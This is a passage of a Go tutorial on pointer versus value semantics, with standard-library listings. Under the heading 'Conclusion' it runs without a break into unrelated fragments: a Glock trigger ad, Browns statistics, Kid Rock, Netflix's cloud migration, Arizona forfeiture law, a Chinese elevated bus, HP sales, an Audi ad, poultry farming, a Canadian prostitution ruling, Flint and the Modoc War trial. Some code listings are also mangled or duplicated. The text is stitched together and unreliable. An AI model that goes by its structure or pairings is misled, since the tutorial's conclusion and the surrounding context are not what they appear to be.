string
value that has trimmed out the cutset.If you review more code from the standard library that share built-in type values, you will see how these values are rarely shared with a pointer. If a function or method needs to change the value of a built-in type, a new value reflecting that change is often returned back to the caller.In general, don’t share built-in type values with a pointer.
Struct Types
Struct types allow for the creation of complex data types by composing different types together. This is accomplished by composing a sequence of fields, each which with a name and a type. They also support embedding , which adds to the way struct types can be composed.Struct types can be implemented to behave like built-in types. When they are, you should treat them as such. To see a struct type that behaves as a primitive data value, we can look at the
time
package:
Listing 4
http://golang.org/src/time/time.go
39 type Time struct {
40 // sec gives the number of seconds elapsed since
41 // January 1, year 1 00:00:00 UTC.
42 sec int64
44 // nsec specifies a non-negative nanosecond
45 // offset within the second named by Seconds.
46 // It must be in the range [0, 999999999].
47 nsec int32
49 // loc specifies the Location that should be used to
50 // determine the minute, hour, month, day, and year
51 // that correspond to this Time.
52 // Only the zero Time has a nil Location.
53 // In that case it is interpreted to mean UTC.
54 loc *Location
55 } 39 type Time struct {40 // sec gives the number of seconds elapsed since41 // January 1, year 1 00:00:00 UTC.42 sec int644344 // nsec specifies a non-negative nanosecond45 // offset within the second named by Seconds.46 // It must be in the range [0, 999999999].47 nsec int324849 // loc specifies the Location that should be used to50 // determine the minute, hour, month, day, and year51 // that correspond to this Time.52 // Only the zero Time has a nil Location.53 // In that case it is interpreted to mean UTC.54 loc *Location55 }
Listing 4 shows the
Time
struct type. This type represents time and has been implemented to behave as a primitive data value. If you look at the factory function
Now
, you will see it returns a value of type
Time
, not a pointer:
Listing 5
http://golang.org/src/time/time.go
781 func Now() Time {
782 sec, nsec := now()
783 return Time{sec + unixToInternal, nsec, Local}
784 } 781 func Now() Time {782 sec, nsec := now()783 return Time{sec + unixToInternal, nsec, Local}784 }
Listing 5 shows how the
Now
function returns a value of type
Time
. This is an indication that values of type
Time
are safe to copy and is the preferred way to share them. Next, let’s look at a method that is used to change the value of a
Time
value:
Listing 6
http://golang.org/src/time/time.go
610 func (t Time) Add(d Duration) Time {
611 t.sec += int64(d / 1e9)
612 nsec := int32(t.nsec) + int32(d%1e9)
613 if nsec >= 1e9 {
614 t.sec++
615 nsec -= 1e9
616 } else if nsec < 0 {
617 t.sec–
618 nsec += 1e9
620 t.nsec = nsec
621 return t
622 } 610 func (t Time) Add(d Duration) Time {611 t.sec += int64(d / 1e9)612 nsec := int32(t.nsec) + int32(d%1e9)613 if nsec >= 1e9 {614 t.sec++615 nsec -= 1e9616 } else if nsec < 0 {617 t.sec–618 nsec += 1e9619 }620 t.nsec = nsec621 return t622 }
Just like we saw when working with built-in types, listing 6 shows how the
Add
method is called against a copy of the caller’s
Time
value. The method changes the local copy of the receiver value and returns a copy of that change back to the caller.Functions that accept
Time
values also accept copies of these values:
Listing 7
http://golang.org/src/time/time.go
1118 func div(t Time, d Duration) (qmod2 int, r Duration) { 1118 func div(t Time, d Duration) (qmod2 int, r Duration) {
Listing 7 shows the declaration of the
div
function which accepts a value of type
Time
and
Duration
. Again, values of type
Time
are treated like a primitive data type and are copied when shared.Most of the time struct types are not created to behave like a primitive data type. In these cases, sharing the value by using a pointer is a better way to go. Let’s look at an example from the
os
package:
Listing 8
http://golang.org/src/os/file.go
238 func Open(name string) (file *File, err error) {
239 return OpenFile(name, O_RDONLY, 0)
240 } 238 func Open(name string) (file *File, err error) {239 return OpenFile(name, O_RDONLY, 0)240 }
In listing 8 we see the
Open
function from the os package. It opens a file for reading and returns a pointer to a value of type
File
. Next, let’s look at the declaration of the
File
struct type for the UNIX platform:
Listing 9
http://golang.org/src/os/file_unix.go
15 // File represents an open file descriptor.
16 type File struct {
17 *file
20 // file is the real representation of *File.
21 // The extra level of indirection ensures that no clients of os
22 // can overwrite this data, which could cause the finalizer
23 // to close the wrong file descriptor.
24 type file struct {
25 fd int
26 name string
27 dirinfo *dirInfo // nil unless directory being read
28 nepipe int32 // number of consecutive EPIPE in Write
29 } 15 // File represents an open file descriptor.16 type File struct {17 *file18 }1920 // file is the real representation of *File.21 // The extra level of indirection ensures that no clients of os22 // can overwrite this data, which could cause the finalizer23 // to close the wrong file descriptor.24 type file struct {25 fd int26 name string27 dirinfo *dirInfo // nil unless directory being read28 nepipe int32 // number of consecutive EPIPE in Write29 }
I left the comments for these type declarations in listing 9 because they really bring home the point I want to make. When you have a factory function like
Open
that is providing you a pointer, it is a good sign that you should not be making copies of the referenced value being returned.
Open
is returning a pointer because it is not safe to make copies of the referenced
File
value being returned. The value should always be used and shared through the pointer.Even if a function or method is not changing the state of a
File
struct type value, it still needs to be shared with a pointer. Let’s look at the
epipecheck
function from the
os
package for the UNIX platform:
Listing 10
http://golang.org/src/os/file_unix.go
58 func epipecheck(file *File, e error) {
59 if e == syscall.EPIPE {
60 if atomic.AddInt32(&file.nepipe, 1) >= 10 {
61 sigpipe()
63 } else {
64 atomic.StoreInt32(&file.nepipe, 0)
66 } 58 func epipecheck(file *File, e error) {59 if e == syscall.EPIPE {60 if atomic.AddInt32(&file.nepipe, 1) >= 10 {61 sigpipe()62 }63 } else {64 atomic.StoreInt32(&file.nepipe, 0)65 }66 }
Here in listing 10, the
epipecheck
function accepts a pointer of type
File
. The caller therefore shares its
File
type value with the function via a pointer. Notice the
epipecheck
function is not changing the state of the
File
value but using it to perform its operation.This applies as well for the methods declared for the
File
type:
Listing 11
http://golang.org/src/os/file.go
224 func (f *File) Chdir() error {
225 if f == nil {
226 return ErrInvalid
228 if e := syscall.Fchdir(f.fd); e != nil {
229 return &PathError{"chdir", f.name, e}
231 return nil
232 } 224 func (f *File) Chdir() error {225 if f == nil {226 return ErrInvalid227 }228 if e := syscall.Fchdir(f.fd); e != nil {229 return &PathError{"chdir", f.name, e}230 }231 return nil232 }
The
Chdir
method in listing 11 is using a pointer receiver to implement the method and does not change the state of the receiver value. In all these cases, to share a value of type
File
, it must be done with a pointer. A
File
value is not a primitive data value.If you review more code from the standard library, you will see how struct types are either implemented as a primitive data value like the built-in types or implemented as a value that needs to be shared with a pointer and never copied. The factory functions for a given struct type will give you a great clue as to how the type is implemented.In general, share struct type values with a pointer unless the struct type has been implemented to behave like a primitive data value.
Reference Types
Reference types are slices, maps, channels, interface and function values. These are values that contain a header value that references an underlying data structure via a pointer and other meta-data. We rarely share reference type values with a pointer because the header value is designed to be copied. The header value already contains a pointer which is sharing the underlying data structure for us by default.Let’s look at an example from the
net
package:
Listing 12
http://golang.org/src/net/ip.go
32 type IP []byte 32 type IP []byte
Listing 12 shows a named type from the
net
package called
IP
with a base type that is a slice of bytes. There is value in using a named type when you need to declare behavior around a built-in or reference type. Let’s look at the
MarshalText
method for the
IP
named type:
Listing 13
http://golang.org/src/net/ip.go
329 func (ip IP) MarshalText() ([]byte, error) {
330 if len(ip) == 0 {
331 return []byte(""), nil
333 if len(ip) != IPv4len && len(ip) != IPv6len {
334 return nil, errors.New("invalid IP address")
336 return []byte(ip.String()), nil
337 } 329 func (ip IP) MarshalText() ([]byte, error) {330 if len(ip) == 0 {331 return []byte(""), nil332 }333 if len(ip) != IPv4len && len(ip) != IPv6len {334 return nil, errors.New("invalid IP address")335 }336 return []byte(ip.String()), nil337 }
Here in listing 13, we can see how the
MarshalText
method is using a value receiver. This is exactly what I would expect to see because we don’t share reference types with a pointer. If you look at the rest of the methods declared for the
IP
named type in the
net
package, you will see the use of more value receivers.This applies to sharing reference type values as parameters to functions and methods:
Listing 14
http://golang.org/src/net/ip.go
318 // ipEmptyString is like ip.String except that it returns
319 // an empty string when ip is unset.
320 func ipEmptyString(ip IP) string {
321 if len(ip) == 0 {
322 return ""
324 return ip.String()
325 } 318 // ipEmptyString is like ip.String except that it returns319 // an empty string when ip is unset.320 func ipEmptyString(ip IP) string {321 if len(ip) == 0 {322 return ""323 }324 return ip.String()325 }
The
ipEmptyString
function in listing 14 accepts a value of named type
IP
. No pointer is used to share this value since the base type for
IP
is a slice of bytes and therefore a reference type.There is one common exception to the rule of not sharing a reference type with a pointer:
Listing 15
http://golang.org/src/net/ip.go
341 func (ip *IP) UnmarshalText(text []byte) error {
342 if len(text) == 0 {
343 *ip = nil
344 return nil
346 s := string(text)
347 x := ParseIP(s)
348 if x == nil {
349 return &ParseError{"IP address", s}
351 *ip = x
352 return nil
353 } 341 func (ip *IP) UnmarshalText(text []byte) error {342 if len(text) == 0 {343 *ip = nil344 return nil345 }346 s := string(text)347 x := ParseIP(s)348 if x == nil {349 return &ParseError{"IP address", s}350 }351 *ip = x352 return nil353 }
Anytime you are unmarshaling data into a reference type, you will need to share that reference type value with a pointer. Listing 15 shows the
UnmarshalText
method that is performing an unmarshal operation and is declared with a pointer receiver. The
Decode
and
Unmarshal
functions from the
encoding
packages would also expect to receive a pointer to a reference type.If you review more code from the standard library, you will see how values from reference types in most cases are not shared with a pointer. Since the reference type contains a header value whose purpose is to share an underlying data structure, sharing these values with a pointer is unnecessary. There is already a pointer in use.In general, don’t share reference type values with a pointer unless you are implementing an unmarshal type of functionality.
Slices Of Values
One thing I avoid when I can is storing data with a slice of pointers. When I retrieve data from a database, the web or even a file, I store that data in a slice of values:
Listing 16
10 func FindRegion(s *Service, region string) ([]BuoyStation, error) {
11 var bs []BuoyStation
12 f := func(c *mgo.Collection) error {
13 queryMap := bson.M{"region": region}
14 return c.Find(queryMap).All(&bs)
17 if err := s.DBAction(cfg.Database, "buoy_stations", f); err != nil {
18 return nil, err
21 return bs, nil
Here is some code in listing 16 from one of my projects that makes a call to a MongoDB database via the
mgo
package. On line 14, I pass the address of the
bs
slice to the
All
method. The
All
method performs an unmarshal call underneath to create the values for the slice. Then the slice of data values is returned by passing a copy of the slice header value back to the caller.Using a slice of values allows the data for the program to be stored in a contiguous block of memory. This means that more of the core data I am using can be cached by the CPU at once and hopefully stays in the cache longer. If I create a slice of pointers, there is no guarantee the memory for these core data values would be contiguous, only the pointers to those values would be stored contiguously. Though I am thinking about performance in this case, I would argue that it is more idiomatic.There are times when this is not possible. Imagine if I needed a slice of
File
type values. Since I can’t make copies of
File
type values, I would need to create a slice of
File
type pointers. This situation occurs often when working with struct types from the standard library and not your own.In general, create slices and maps of values when you can.
Conclusion
The new Glock Action Enhancement Trigger replaces the factory polymer trigger with an anodized aluminum trigger body featuring a center mounted pivoting safety. The trigger reduces pre-travel and overall travel, shortens the reset, provides a smooth uptake and reset and delivers a crisp trigger break. The new Glock Action Enhancement Trigger will be available equipped with a Glock Gen 3 Factory Trigger Bar, part #102-110, for $99.95, or as a stand alone replacement trigger, part #102-112, for $79.95. The stand alone trigger requires use of a customer supplied factory trigger bar.
Features include:
– Black anodized aluminum trigger
– Direct drop-in replacement of factory polymer trigger
– Smooths uptake and reset
– Reduces pre-travel, and overall travel
– Shortens reset length
– Center mounted pivoting safety maintains factory safety values
– Apex Part #: 102-110 (Action Enhancement Trigger with Gen 3 Factory Trigger Bar)
– Apex Part #: 102-112 (Action Enhancement Trigger)
– MSRP: $99.95 for the Trigger with Gen 3 Trigger Bar
– MSRP: $79.95 for the Action Enhancement Trigger
Not in terms of most NFL worlds, but in terms of the Browns since they returned from an Art Modell-imposed hiatus in 1999.
A win would put the Browns over. 500 for the first time since the third game of the 2011 season. That’s more than two years of sub-.500 football.
Which sounds bad, except the Browns have been over .500 in only six of 14 seasons since they returned. In two of them the only time they were over .500 was when they were 2-1 (2000 and 2011). And in one of those six they were 1-0 and spent the rest of the season below “the Cleveland line.”
Beating the Bills means the Browns have won three in a row, something they've done all of three times since 1999 -- in 2001, 2009 and 2012.
In none of those seasons did the Browns finish with a winning record. In ‘01, they were 7-9. In ‘09, they were 5-11 when a four-game winning streak late in the season saved Eric Mangini’s job. And in ‘12, they finished 5-11 even with a late-season three-game winning streak.
How big is a three-game winning streak to these fans? The Browns went two entire seasons -- 2004 and 2005 -- without winning two games in a row.
Ah, but there’s more.
A win gives the Browns a 3-2 record, a momentous occasion for this team.
The last time the Browns were 3-2 was 2001 -- when they finished 7-9 and had to endure the now infamous “Bottle Game” against Jacksonville late in the season.
That's correct, the Browns have not won three of their first five games in 12 seasons. In the 14 seasons they’ve been back they have never started 5-0 or 4-1, and they started 3-2 once.
They had eight seasons when they started 2-3, three when they started 1-4 and two when they were 0-5. In a perfect symmetry, the 0-5 seasons were the first when they returned (1999) and most recent (2012).
Things have been even worse recently. In the past seven years in their first five games, the Browns have gone 9-26, a .257 won-lost percentage. In their first seven years back, they went 13-22 (.371). Neither result is great, but at least in the first seven seasons the Browns won more than one in four games early in the season.
The rocker, whose real name is Robert James Ritchie, confirmed via Twitter that the website KidRockForSenate.com was real.
Rock followed that tweet with another message:
The musician's website has a photo of Rock with the words "Are you scared?" underneath.
"You never met a politician quite like me," the site says.
An array of Kid Rock for Senate merchandise - including yard signs, t-shirts and hats - are for sale on the website.
If he's serious about the run, Rock would face incumbent Democrat Debbie Stabenow for the Michigan seat that's up for election in 2018. Stabenow has been in the Senate since 2000. The state's other Senator, Gary Peters, is also a Democrat.
Mike Berardino and Omar Kelly of the South Florida Sun-Sentinel report that Pennington and Henne are expected to miss the rest of the season. Jay Glazer of FOX reports that Pennington has a dislocated shoulder, the fourth serious shoulder injury of his career.
Henne left the stadium on crutches and was headed to undergo an MRI. His kneecap bent forward in ugly fashion on the play that took him out. While one source of the Sentinel’s expects Henne to miss the rest of the season, the other source wasn’t as sure.
Netflix operates “many tens of thousands of servers and many tens of petabytes of storage” in the Amazon cloud, Netflix VP of cloud and platform engineering Yury Izrailevsky told Ars in an interview.
Netflix had earlier planned to complete the shift by the end of last summer.
“Billing and payments was the last remaining piece. We wanted to make sure we do it right; obviously, there is a lot of privacy concerns around customer data,” Izrailevsky said. Previously, the applications and data related to billing and payments were in a cage Netflix rented at a colocation facility.
With this last piece finished, Netflix’s streaming business no longer operates any of its own data center space. But not everything is in Amazon.
Netflix operates its own content delivery network (CDN) called Open Connect. Netflix manages Open Connect from Amazon, but the storage boxes holding videos that stream to your house or mobile device are all located in data centers within Internet service providers' networks or at Internet exchange points, facilities where major network operators exchange traffic. Netflix distributes traffic directly to Comcast, Verizon, AT&T, and other big network operators at these exchange points.
Once a customer hits the “play” button, video is delivered from one of those sites. But all the applications and data needed to manage everything a customer does before clicking “play”—such as signing up for the service or searching videos—is running in the Amazon cloud. All the customer-facing systems for the streaming business are thus in Amazon or the Open Connect storage boxes. “All the search, personalization, all the business logic, all the data processing that enables the streaming experience, the 100 different applications and services that make up the streaming application, they live in AWS,” Izrailevsky said.
Most of the technology needed to manage employees of the streaming business is also in Amazon, though the company also uses some software-as-a-service applications such as Workday, Izrailevsky said.
Remember DVDs?
There’s one other exception to Netflix’s shift to the cloud. While the streaming business has gone all cloud, the old DVD mailing business has not. “Our DVD business is still relying on the data center [colocation facility] for all of their operations,” Izrailevsky said. The DVD and streaming businesses are run separately, with their own systems and processes. The DVD business is “stable” and well served by its current setup, Izrailevsky said.
In other words, the DVD business isn’t experiencing the massive growth that requires the ability to scale up as needed. Netflix streaming, meanwhile, just keeps growing and accounts for more than one-third of all North American fixed Internet traffic during peak viewing hours, according to the latest Sandvine Global Internet Phenomena Report. “Supporting such rapid growth would have been extremely difficult out of our own data centers; we simply could not have racked the servers fast enough,” Netflix’s blog post says. “Elasticity of the cloud allows us to add thousands of virtual servers and petabytes of storage within minutes, making such an expansion possible.”
Even though the DVD business remains in a traditional data center, it was actually an outage in the DVD operation that spurred Netflix’s shift to the cloud for its streaming service. For three days in August 2008, Netflix couldn’t ship DVDs to customers because of a major database corruption. As annoying as that was, Netflix knew it would be even worse if something like that happened to the streaming product. Customers could still watch the DVDs they had during that outage. But with streaming, a three-day outage would mean no video watching, period. Netflix had launched its streaming service in 2007 and knew there was potential for growth, “so we wanted to get ahead of that,” Izrailevsky said. Besides improved availability, Netflix says using Amazon allowed it to meet increasing demand at a lower price than it would have paid if it still operated its own data centers.
Netflix declined to say how much it pays Amazon, but says it expects to "spend over $800 million on technology and development in 2016," up from $651 million in 2015. Netflix spends less on technology than it does on marketing, according to its latest earnings report.
Netflix’s Simian Army
The big question on your mind might be this: What happens if the Amazon cloud fails?
That's one reason it took Netflix seven years to make the shift to Amazon. Instead of moving existing systems intact to the cloud, Netflix rebuilt nearly all of its software to take advantage of a cloud network that "allows one to build highly reliable services out of fundamentally unreliable but redundant components," the company says. To minimize the risk of disruption, Netflix has built a series of tools with names like “Chaos Monkey,” which randomly takes virtual machines offline to make sure Netflix can survive failures without harming customers. Netflix’s “Simian Army” ramped up with Chaos Gorilla (which disables an entire Amazon availability zone) and Chaos Kong (which simulates an outage affecting an entire Amazon region and shifts workloads to other regions).
Amazon’s cloud network is spread across 12 regions worldwide, each of which has availability zones consisting of one or more data centers. Netflix operates primarily in the Northern Virginia, Oregon, and Dublin regions, but if an entire region goes down, “we can instantaneously redirect the traffic to the other available ones,” Izrailevsky said. "It's not that uncommon for us to fail over across regions for various reasons."
Years ago, Netflix wasn't able to do that, and the company suffered a streaming failure on Christmas Eve in 2012, when it was operating in just one Amazon region. “We've invested a lot of effort in disaster recovery and making sure no matter how big a failure that we're able to bring things back from backups,” he said.
Netflix has multiple backups of all data within Amazon.
“Customer data or production data of any sort, we put it in distributed databases such as Cassandra, where each data element is replicated multiple times in production, and then we generate primary backups of all the data into S3 [Amazon’s Simple Storage Service],” he said. “All the logical errors, operator errors, or software bugs, many kinds of corruptions—we would be able to deal with them just from those S3 backups.”
What if all of Netflix's systems in Amazon went down? Netflix keeps backups of everything in Google Cloud Storage in case of a natural disaster, a self-inflicted failure that somehow takes all of Netflix's systems down, or a “catastrophic security breach that might affect our entire AWS deployment,” Izrailevsky said. “We've never seen a situation like this and we hope we never will.”
But Netflix would be ready in part thanks to a system it calls “Armageddon Monkey,” which simulates failure of all of Netflix’s systems on Amazon. It could take hours or even a few days to recover from an Amazon-wide failure, but Netflix says it can do it. Netflix pointed out that Amazon isolates its regions from each other, making it difficult for all of them to go out simultaneously.
“So that's not the scenario we're planning for. Rather it's a catastrophic bug or data corruption that would cause us to wipe the slate clean and start fresh from the latest good back-up,” a Netflix spokesperson said. “We hope we will never need to rely on Armageddon Monkey in real life, but going through the drill helps us ensure we back up all of our production data, manage dependencies properly, and have a clean, modular architecture; all this puts us in a better position to deal with smaller outages as well.”
Netflix declined to say where it would operate its systems during an emergency that forced it to move off Amazon. "From a security perspective, it'd be better not to say," a spokesperson said.
And the governor said he is listening.
The governor, for his part, said he wants to see some sort of legislation.
“I think this is an area of law in need of reform,” Ducey said.
But Ducey said he is getting lobbied by prosecutors to quash the measure if it arrives on his desk in its current form. And he would not say whether he is willing to sign this legislation which was approved unanimously by both the House and Senate.
“I’ve heard from people I respect on both sides who I think are making very significant points,” the governor said.
Montgomery said on Tuesday he does not believe it is necessary to change the law so that a judge would have to find there is “clear and convincing evidence” that the cash or property a prosecutor wants to take is linked to a crime before it must be forfeited to the state. He said the entire controversy has been “generated by groups on the right who have also used it for fundraising.”
The county attorney said there’s nothing wrong with the current “preponderance of the evidence” standard, even though that is far easier to prove. Some proponents of the change said the higher standard is appropriate, especially as there is no requirement of prosecutors to actually charge anyone with a crime.
“That’s usually from very narrow minds who couldn’t understand that the entire focus of a process like this is on the property, not the person,” Montgomery said, with the laws designed to deprive criminals and their organizations of their assets versus locking someone up. He said that’s why the standard of proof is different.
“Some of these pretend conservative organizations usually understand the difference between criminal courts and civil courts,” he said.
Montgomery did not name names. But the legislation was supported by a broad spectrum of groups, ranging from the American Civil Liberties Union to the Free Enterprise Club, the Institute for Justice, the Goldwater Institute and Americans for Prosperity.
“But they’ve somehow forgotten it when it came to this issue,” he said.
Despite those complaints, Montgomery insisted the real reason he wants a veto is because HB 2477 would give each county’s board of supervisors the power to approve — or veto — how the proceeds are spent. And worse yet from his perspective is that the supervisors could hire another attorney to advise them on how the elected county attorney should be spending the cash.
Rep. Eddie Farnsworth, R-Gilbert, who crafted the legislation, sniffed at Montgomery’s objections to the oversight. He said that’s the purpose of the elected supervisors who control the county budget.
And he rejected Montgomery’s contention that there’s no reason for the board to be able to hire outside counsel for advice.
“If you’re going to have a board that has oversight, it makes absolutely no sense that the person they have oversight of gets to choose who’s going to give them the legal advice to decide if they’re engaging in lawful practices,” Farnsworth said.
Montgomery also complained about new reporting requirements in the statute, detailing how prosecutors — and the police agencies that work with them — are spending their money. He said the kind of detail that would have to be produced in formal reports “really reflects the incompetence of some of these groups in being able to file a proper public records request.”
“All that information is available in reports that have to be filed now,” Montgomery said. And he said while a new report won’t be a problem for his agency, that isn’t the case for smaller, rural counties.
“They don’t have the people who can be working on this 24/7,” he said. “It does represent a serious resource impact.”
And Montgomery said something more sinister may be at work here.
“If it’s the goal of these special interest groups to deny the ability of rural counties to use asset forfeiture in the first place, well, then, they’re going to be doubly successful,” he said.
Farnsworth said that argument about resources holds no water, saying prosecutors can use forfeiture proceeds for such reports. Nor was he persuaded about the problems in rural areas.
“It’s always more difficult for small counties to do everything the legislature asks,” he said.
“Under that argument, we wouldn’t do anything.”
For example, making certain things a crime solely because the smaller counties don’t have the same budget as larger counties to house inmates, Farnsworth said.
China, a country infamous for its hellish traffic and inexperienced drivers, is thinking outside the box to solve its public transit woes. Re-introducting: the TEB.
The Transit Elevated Bus (TEB) is a homegrown invention in which bus passengers would ride above, while traffic slips conveniently underneath. It’s something that they’ve been kicking around for some time now and recently, at the 19th China Beijing International High-Tech Expo, we saw a real honest-to-god mini model.
According to the engineer in charge of the project, each “bus” would have a carrying capacity of 1,200 people. Similar to a subway, it would cost five times less and take only a year to finish. Sounds awesome, where/when do we start?
Well, apparently in Hebei’s Qinhuangdao city in the second half of this year, if CCTV reports are to be believed.
To see the TEB in action, check out this Autoblog video:
And hear from the mastermind himself:
Admittedly, we have a few concerns about the project, namely everything. What say you?
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The company's share of the U.S. personal computer market was down 26% last quarter compared with a year ago, according to Gartner.
PC shipments nationwide were down 5.9% in the quarter and 1.4% worldwide, according to technology research firm Gartner. But HP's steep decline came mostly at its own hand.
The uncertainty spawned by former CEO Leo Apotheker's decision last year to consider a spinoff or sale of its $41 billion computer business prompted some potential PC buyers to steer clear of the brand or delay major HP equipment purchases.
Apotheker's decision was a "suicidal" move for HP, says Gartner analyst Mikako Kitagawa.
Dell and Lenovo raided some customers, Kitagawa said. Dell, in particular, edged into HP's turf in the professional market yet still ended up with a 4.5% drop in its own PC shipments in the U.S.
HP did not respond to requests for comment.
Under Apotheker, the HP announced in August its decision to buy software maker Autonomy for $10.3 billion and plans to separate from its profitable PC business. Questions about the logic behind both moves pummeled HP's stock.
Then in September, the company booted Apotheker and installed former eBay chief Meg Whitman as CEO. The following month, Whitman did an about-face and kept the PC unit.
For all of 2011, PC shipments climbed just 0.5% for all manufacturers worldwide, following a 14% rise in 2010. But the fourth quarter of 2011 "was pretty bad," says Kitagawa.
PC makers certainly tried to entice buyers. But even the super-thin Ultrabooks, quietly launched over the holidays, did little to juice up the ailing computing market.
Those battery-sipping laptops that ape Apple's MacBook Air made a big splash at the International Consumer Electronics Show this week. "Apple is on a tear and others are out to copy them, from what CES shows us," Kitagawa says.
While some focused on immigration, Audi wanted to rub everyone’s collective nose in “equal pay” for men and women.
The ad features a girl racing a homemade race car to victory, but argues she is “worth less” in the eyes of the corporate world.
Progress is for everyone. At Audi, we are committed to equal pay for equal work. #DriveProgress pic.twitter.com/pF0t14ido8 — Audi (@Audi) February 6, 2017
“Audi of America is committed to equal pay for equal work,” the ad concludes. “Progress is for everyone.”
But equality apparently hasn’t reached the company’s board of management yet.
Reviewing the company’s website, six male (and white!) faces stare back at you:
Audi’s board of management includes Professor Rupert Stadler, Dr. Bernd Martens, Professor h. c. Thomas Sigi, Axel Strotbek, Dr. Dietmar Voggenreiter, and Professor Dr. -Ing Hubert Waltl.
But in the next pen over, smaller, leaner birds of the same age ran around, raising a ruckus as they climbed on haystacks, perched on roosts and gave themselves dirt baths.
“We’re going to have to come up with a sturdier water line,” said Dr. Bruce Stewart-Brown, a veterinarian and senior vice president of Perdue Farms, as he watched two of them swing the tube that supplies water to the pen.
The ruling, which could ultimately lead to legalized brothels in Canada, was immediately praised and assailed.
Sex-trade advocates said the judge rightly acknowledged that the law forces prostitutes to conduct their work, as it were, in a climate of inherent danger, while conservative groups argued prostitution is immoral and against societal interests.
The federal Justice Minister said he is seriously considering an appeal of the ruling, which applies only in Ontario but could be the basis of similar challenges across the country.
In her decision released Tuesday, Justice Susan Himel concluded that prohibiting sex-trade workers from operating a common bawdy house, living off the avails of prostitution and communicating for the purposes of prostitution, violate the Charter of Rights.
“I have found that the law as it stands, is currently contributing to the danger faced by prostitutes,” Judge Himel wrote in a 131-page ruling.
The three sections of the Criminal Code ruled unconstitutional, “force prostitutes to choose between their liberty interest and their right to security of the person,” she said.
The long-awaited decision stems from a constitutional challenge initiated last year by three women involved in the sex trade.
“It is important to state at the outset what this case is not about: The court has not been called upon to decide whether or not there is a constitutional right to sell sex or to decide which policy model regarding prostitution is better,” Judge Himel said. “Rather, it is the court’s task to decide the merits of this particular legal challenge, which is whether certain provisions of the Criminal Code are in violation of the Charter.”
Alan Young, a Toronto law professor who led the court challenge, said he was “overjoyed” with the ruling.
“I believe something good happened today. It will take some time for people to realize that. But any time you can remove laws that put people into harm’s way, you have done something important,” said Mr. Young.
“We want to be good citizens and now we can,” said Valerie Scott, executive director of the Sex Professionals of Canada and one of the three women in the constitutional challenge.
“Justice Himel has seen right through all of the hypocrisy,” said Ms. Scott. “We can now set up guilds and associations, and we can set occupational and health standards.”
The ruling does not go into effect for 30 days and the federal government is expected to seek a longer stay.
The decision prompted an immediate response from federal Justice Minister Rob Nicholson, who issued a statement saying that he is “seriously considering” an appeal. “We will fight to ensure that the criminal law continues to address significant harms that flow from prostitution to both communities and the prostitutes themselves, along with other vulnerable persons,” he said in the statement.
The federal and Ontario governments both argued in favour of the existing prostitution laws before Judge Himel, maintaining that they serve broader societal interests. Any acts of prostitution are “inconsistent with respect for human dignity” and should be prohibited, the Ontario government suggested.
The Christian Legal Fellowship was one of three groups granted intervenor status in the case and argued that prostitution is immoral and should be stigmatized.
While prostitute safety is a “legitimate concern,” there are broader issues that Judge Himel should have considered, said Ruth Ross, executive director and general counsel of the Fellowship. “There must be concern for the security and care of all of society. There needs to be a balancing,” said Ms. Ross.
While the ruling could lead to legalized brothels, one of the lawyers for the three women stressed that the focus of the court challenge was concern for women in the sex industry.
“This is about the safety of prostitutes,” said lawyer Stacey Nichols. “The very basis of the evidence presented to Justice Himel, is that the way the laws stand made it unsafe for prostitutes, particularly street prostitutes.”
More than 25,000 pages of evidence were presented to Judge Himel, including data about reforms to prostitution laws in other countries.
The judge noted that the decriminalization of consenting adult prostitution in New Zealand and licensing scheme have led to increased safety and there was no evidence of more trafficking in the sex industry.
In contrast, the laws in Canada make “in-call” prostitution illegal and also prohibit a sex worker from hiring anyone to help screen clients,. “The provisions place prostitutes at greater risk of experiencing violence,” the judge wrote.
“There are no excuses,” the Democratic presidential candidate said in a statement. “The governor long ago knew about the lead in Flint's water. He did nothing. As a result, hundreds of children were poisoned. Thousands may have been exposed to potential brain damage from lead. Gov. Snyder should resign.”
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Pressure has been building on Snyder over his handling of the situation. State officials have acknowledged that they did not respond quickly enough to complaints of lead contamination in the water supply, stemming from a decision almost two years ago to change the source of tap water.
“Because of the conduct by Gov. Snyder's administration and his refusal to take responsibility, families will suffer from lead poisoning for the rest of their lives,” Sander said. “Children in Flint will be plagued with brain damage and other health problems. The people of Flint deserve more than an apology.”
Snyder on Friday asked President Obama to declare a federal disaster, and the National Guard is now assisting in distributing bottled water in the city.
Following the 1873 Modoc War, the army had locked thirteen warriors in the cells in the guardhouse at Fort Klamath, a military post near the Klamath Reservation. Initially, the army intended to simply execute eight or ten of the leaders without a trial. The War Department, however, wanted no action taken until the Attorney General decided whether the captives were to be tried in civilian or military courts. The army commander replied:
“Delay will destroy the moral effect which their prompt execution would have upon other tribes.”
Six of the Modoc warriors-Captain Jack, Boston Charley, Black Jim, Schonchin John, Slolux, and Barncho-were tried in a military court martial for war crimes. The formal charges stressed that two peace commissioners had been killed during a suspension of hostilities. In justifying the charge of war crimes, the Attorney General stated:
“According to the laws of war there is nothing more sacred than a flag of truce dispatched in good faith, and there can be no greater act of perfidy and treachery than the assassination of its bearers after they have been acknowledged and received by those to whom they are sent.”
In order to try the defendants under military rather than civil law, the United States had to classify the conflict as a “war” and thus to define the Modoc as a sovereign nation as only sovereign nations can engage in war.
In 1907, the War Department officially enumerated 1,470 incidents of military action against American Indians between 1776 and 1907. According to the War Department, only two of these actions had the formal status of “war” under U.S. Army terminology: the 1877 Nez Perce War and the 1878 Bannock Indian War. The Modoc War, according to the War Department, was not, therefore a war.
The Modoc defendants were not represented by legal counsel and the government held them to a higher standard than its own soldiers. Any U.S. soldiers who violated the laws of war during the Modoc and other Indian wars were never tried and punished as war criminals. During the trial, Captain Jack and Schonchin John were shackled and chained together as were Boston Charley and Black Jim. The two younger defendants-Slolux and Barncho-were not shackled. Uniformed soldiers holding rifles with fixed bayonets stood guard in the court room.
The trial was carried out in accordance with the rules of a military court-martial. The judge advocate asked the defendants if they had any objection to any member of the military commission. It is likely that the Modoc defendants did not understand the significance of what was happening, for if they had understood, they almost certainly would have objected. There were ample grounds for challenging four of the five commission members for just cause, but the trial record shows that this was not explained to the defendants. Thus, the Modoc defendants raised no objection and the trial was allowed to continue. Four of the five members of the commission had been involved in the war and three had fought battles against the accused Modoc warriors.
With regard to the lack of legal counsel, the U.S. Army considered defense counsel a privilege, not a right. The prisoners, who had been confined to jail cells and shackled since their capture, were unable to find counsel.
Since the Modoc defendants spoke little English, Frank and Toby Riddle, the interpreters who had warned General Canby of the attack, translated the proceedings into Modoc. Frank Riddle also testified against them. It is doubtful that the interpreters understood the complex legal jargon of the trial and may not have translated these concepts.
